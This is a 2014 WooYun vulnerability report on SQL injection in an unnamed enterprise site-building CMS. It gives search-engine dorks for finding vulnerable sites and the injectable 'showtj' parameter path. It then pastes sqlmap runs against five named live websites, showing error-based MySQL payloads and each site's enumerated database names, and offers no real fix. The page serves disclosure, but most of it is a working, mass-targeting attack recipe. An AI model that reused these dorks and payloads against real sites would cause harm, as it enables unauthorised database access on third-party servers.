当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-063726

漏洞标题:某企业建站系统下载处存在sql注入#3

相关厂商:某企业建站系统

漏洞作者: Mosuan

提交时间:2014-06-06 12:19

修复时间:2014-09-04 12:20

公开时间:2014-09-04 12:20

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-06: 细节已通知厂商并且等待厂商处理中
2014-06-11: 厂商已经确认,细节仅向厂商公开
2014-06-14: 细节向第三方安全合作伙伴开放
2014-08-05: 细节向核心白帽子及相关领域专家公开
2014-08-15: 细节向普通白帽子公开
2014-08-25: 细节向实习白帽子公开
2014-09-04: 细节向公众公开

简要描述:

女神是什么?

详细说明:

百度关键词

关于我们| 联系方式| 客户留言| 人才招聘| 相关知识| 友情链接 版权所有


由于下载这个模版不是每个网站都有,10个关键词搜出来的网站8个有下载模版
于是就诞生了google关键词

inurl:/down/class/index.php?page=1


仅供参考,google出来的都是有下载模版的..呵呵我就不客气了
google出来的网站去掉路径然后加上

/down/class/index.php?showtj=1


举几个例子吧

注入地址:http://www.0734pc.cn/down/class/index.php?showtj=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 01:21:37
[01:21:37] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.0734pc.cn\session' as session file
[01:21:37] [INFO] testing connection to the target url
[01:21:38] [INFO] testing if the url is stable, wait a few seconds
[01:21:39] [INFO] url is stable
[01:21:39] [INFO] testing if GET parameter 'showtj' is dynamic
[01:21:40] [WARNING] GET parameter 'showtj' appears to be not dynamic
[01:21:40] [WARNING] heuristic test shows that GET parameter 'showtj' might not
be injectable
[01:21:40] [INFO] testing sql injection on GET parameter 'showtj'
[01:21:40] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:21:46] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[01:21:48] [INFO] GET parameter 'showtj' is 'MySQL >= 5.0 AND error-based - WHER
E or HAVING clause' injectable
[01:21:48] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[01:21:49] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[01:21:50] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[01:21:53] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[01:21:59] [INFO] target url appears to have 1 columns in query
[01:22:00] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[01:22:00] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'showtj' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 28 HTTP(s) requ
ests:
---
Place: GET
Parameter: showtj
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: showtj=1' AND (SELECT 1150 FROM(SELECT COUNT(*),CONCAT(0x3a6b75753a
,(SELECT (CASE WHEN (1150=1150) THEN 1 ELSE 0 END)),0x3a696b683a,FLOOR(RAND(0)*2
))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'Hyen'='Hyen
---
[01:22:04] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL 5.0
[01:22:04] [INFO] fetching database names
[01:22:05] [INFO] the SQL query used returns 2 entries
[01:22:05] [INFO] retrieved: information_schema
[01:22:09] [INFO] retrieved: david3448692462
available databases [2]:
[*] david3448692462
[*] information_schema
[01:22:09] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.0734pc.cn'


注入地址:http://www.sjzqiman.com//down/class/index.php?showtj=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 01:27:01
[01:27:01] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.sjzqiman.com\session' as session file
[01:27:01] [INFO] testing connection to the target url
[01:27:01] [INFO] testing if the url is stable, wait a few seconds
[01:27:03] [INFO] url is stable
[01:27:03] [INFO] testing if GET parameter 'showtj' is dynamic
[01:27:04] [WARNING] GET parameter 'showtj' appears to be not dynamic
[01:27:04] [WARNING] heuristic test shows that GET parameter 'showtj' might not
be injectable
[01:27:04] [INFO] testing sql injection on GET parameter 'showtj'
[01:27:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:27:10] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[01:27:12] [INFO] GET parameter 'showtj' is 'MySQL >= 5.0 AND error-based - WHER
E or HAVING clause' injectable
[01:27:12] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[01:27:12] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[01:27:13] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[01:27:14] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[01:27:16] [INFO] target url appears to have 1 columns in query
[01:27:20] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[01:27:20] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'showtj' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 28 HTTP(s) requ
ests:
---
Place: GET
Parameter: showtj
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: showtj=1' AND (SELECT 8254 FROM(SELECT COUNT(*),CONCAT(0x3a6f7a623a
,(SELECT (CASE WHEN (8254=8254) THEN 1 ELSE 0 END)),0x3a7165773a,FLOOR(RAND(0)*2
))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'liNq'='liNq
---
[01:27:41] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: PHP 5.2.6, ASP.NET, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[01:27:41] [INFO] fetching database names
[01:27:42] [INFO] the SQL query used returns 2 entries
[01:27:42] [INFO] retrieved: information_schema
[01:27:43] [INFO] retrieved: sq_sjzqiman
available databases [2]:
[*] information_schema
[*] sq_sjzqiman
[01:27:43] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.sjzqiman.com'


注入地址:http://www.bjgczs.com/down/class/index.php?showtj=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 01:28:22
[01:28:22] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.bjgczs.com\session' as session file
[01:28:22] [INFO] testing connection to the target url
[01:28:23] [INFO] testing if the url is stable, wait a few seconds
[01:28:24] [INFO] url is stable
[01:28:24] [INFO] testing if GET parameter 'showtj' is dynamic
[01:28:25] [WARNING] GET parameter 'showtj' appears to be not dynamic
[01:28:25] [INFO] heuristic test shows that GET parameter 'showtj' might be inje
ctable (possible DBMS: MySQL)
[01:28:25] [INFO] testing sql injection on GET parameter 'showtj'
[01:28:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:28:33] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[01:28:36] [INFO] GET parameter 'showtj' is 'MySQL >= 5.0 AND error-based - WHER
E or HAVING clause' injectable
[01:28:36] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[01:28:37] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[01:28:37] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[01:28:38] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[01:28:41] [INFO] target url appears to have 1 columns in query
[01:28:42] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[01:28:42] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'showtj' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 28 HTTP(s) requ
ests:
---
Place: GET
Parameter: showtj
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: showtj=1' AND (SELECT 5069 FROM(SELECT COUNT(*),CONCAT(0x3a74736a3a
,(SELECT (CASE WHEN (5069=5069) THEN 1 ELSE 0 END)),0x3a777a613a,FLOOR(RAND(0)*2
))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'vypq'='vypq
---
[01:28:45] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5
web application technology: PHP 5.2.10, Apache 2.2.3
back-end DBMS: MySQL 5.0
[01:28:45] [INFO] fetching database names
[01:28:46] [INFO] the SQL query used returns 2 entries
[01:28:47] [INFO] retrieved: information_schema
[01:28:47] [INFO] retrieved: garewang
available databases [2]:
[*] garewang
[*] information_schema
[01:28:47] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.bjgczs.com'


注入地址:http://www.wtt6.com//down/class/index.php?showtj=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 01:32:43
[01:32:43] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.wtt6.com\session' as session file
[01:32:43] [INFO] testing connection to the target url
[01:32:43] [INFO] testing if the url is stable, wait a few seconds
[01:32:44] [INFO] url is stable
[01:32:44] [INFO] testing if GET parameter 'showtj' is dynamic
[01:32:45] [WARNING] GET parameter 'showtj' appears to be not dynamic
[01:32:45] [INFO] heuristic test shows that GET parameter 'showtj' might be inje
ctable (possible DBMS: MySQL)
[01:32:45] [INFO] testing sql injection on GET parameter 'showtj'
[01:32:45] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:32:49] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[01:32:51] [INFO] GET parameter 'showtj' is 'MySQL >= 5.0 AND error-based - WHER
E or HAVING clause' injectable
[01:32:51] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[01:32:52] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[01:32:52] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[01:32:53] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[01:32:54] [INFO] target url appears to have 1 columns in query
[01:32:55] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[01:32:55] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'showtj' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 28 HTTP(s) requ
ests:
---
Place: GET
Parameter: showtj
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: showtj=1' AND (SELECT 5875 FROM(SELECT COUNT(*),CONCAT(0x3a6b76793a
,(SELECT (CASE WHEN (5875=5875) THEN 1 ELSE 0 END)),0x3a666d693a,FLOOR(RAND(0)*2
))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'EmfK'='EmfK
---
[01:32:57] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: ASP.NET, PHP 5.2.17
back-end DBMS: MySQL 5.0
[01:32:57] [INFO] fetching database names
[01:32:58] [INFO] the SQL query used returns 2 entries
[01:32:58] [INFO] retrieved: information_schema
[01:32:58] [INFO] retrieved: wtt6
available databases [2]:
[*] information_schema
[*] wtt6
[01:32:58] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.wtt6.com'


注入地址:http://www.sz-yison.com/down/class/index.php?showtj=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 01:31:28
[01:31:28] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.sz-yison.com\session' as session file
[01:31:28] [INFO] testing connection to the target url
[01:31:29] [INFO] testing if the url is stable, wait a few seconds
[01:31:31] [INFO] url is stable
[01:31:31] [INFO] testing if GET parameter 'showtj' is dynamic
[01:31:32] [WARNING] GET parameter 'showtj' appears to be not dynamic
[01:31:34] [INFO] heuristic test shows that GET parameter 'showtj' might be inje
ctable (possible DBMS: MySQL)
[01:31:34] [INFO] testing sql injection on GET parameter 'showtj'
[01:31:34] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:31:48] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[01:31:53] [INFO] GET parameter 'showtj' is 'MySQL >= 5.0 AND error-based - WHER
E or HAVING clause' injectable
[01:31:53] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[01:31:55] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[01:31:56] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[01:31:58] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[01:32:04] [INFO] target url appears to have 1 columns in query
[01:32:05] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[01:32:05] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'showtj' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 28 HTTP(s) requ
ests:
---
Place: GET
Parameter: showtj
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: showtj=1' AND (SELECT 9696 FROM(SELECT COUNT(*),CONCAT(0x3a71756b3a
,(SELECT (CASE WHEN (9696=9696) THEN 1 ELSE 0 END)),0x3a746a743a,FLOOR(RAND(0)*2
))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'EBoK'='EBoK
---
[01:32:35] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL 5.0
[01:32:35] [INFO] fetching database names
[01:32:36] [WARNING] the SQL query provided does not return any output
[01:32:36] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a hidden switch '--no-cast' (fixing problems with some collation issue
s) and/or switch '--hex'
[01:32:36] [INFO] falling back to current database
[01:32:36] [INFO] fetching current database
[01:32:36] [CRITICAL] unable to retrieve the database names
[*] shutting down at 01:32:36

漏洞证明:

详细说明

修复方案:

你们懂的!

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2014-06-11 10:00

厂商回复:

与wooyun-2014-一并处置,不再单独评分。

最新状态:

暂无